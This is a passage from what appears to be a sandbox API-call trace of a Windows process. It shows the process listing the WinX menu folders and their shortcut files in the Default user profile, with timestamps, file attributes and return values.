lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x35 [0219.474] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.474] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.475] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0219.475] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0219.475] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0219.475] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.475] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.476] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x3c [0219.476] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.476] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.476] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="")) returned 1 [0219.476] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf686326, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee78381, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.477] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.477] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.477] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x3c [0219.477] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.478] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.478] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="")) returned 1 [0219.478] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf686326, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee78381, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.478] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf686326, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee78381, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0219.478] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.479] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x3c [0219.479] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.481] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.481] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="")) returned 1 [0219.481] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="")) returned 1 [0219.481] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="")) returned 1 [0219.481] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="")) returned 1 [0219.482] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="")) returned 1 [0219.482] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.482] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.482] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.483] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x3c [0219.483] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.484] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.484] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="")) returned 1 [0219.485] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="")) returned 1 [0219.485] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="")) returned 1 [0219.485] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="")) returned 1 [0219.485] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="")) returned 1 [0219.485] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.486] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0219.486] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.487] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x3c [0219.487] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f42d0 [0219.695] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, 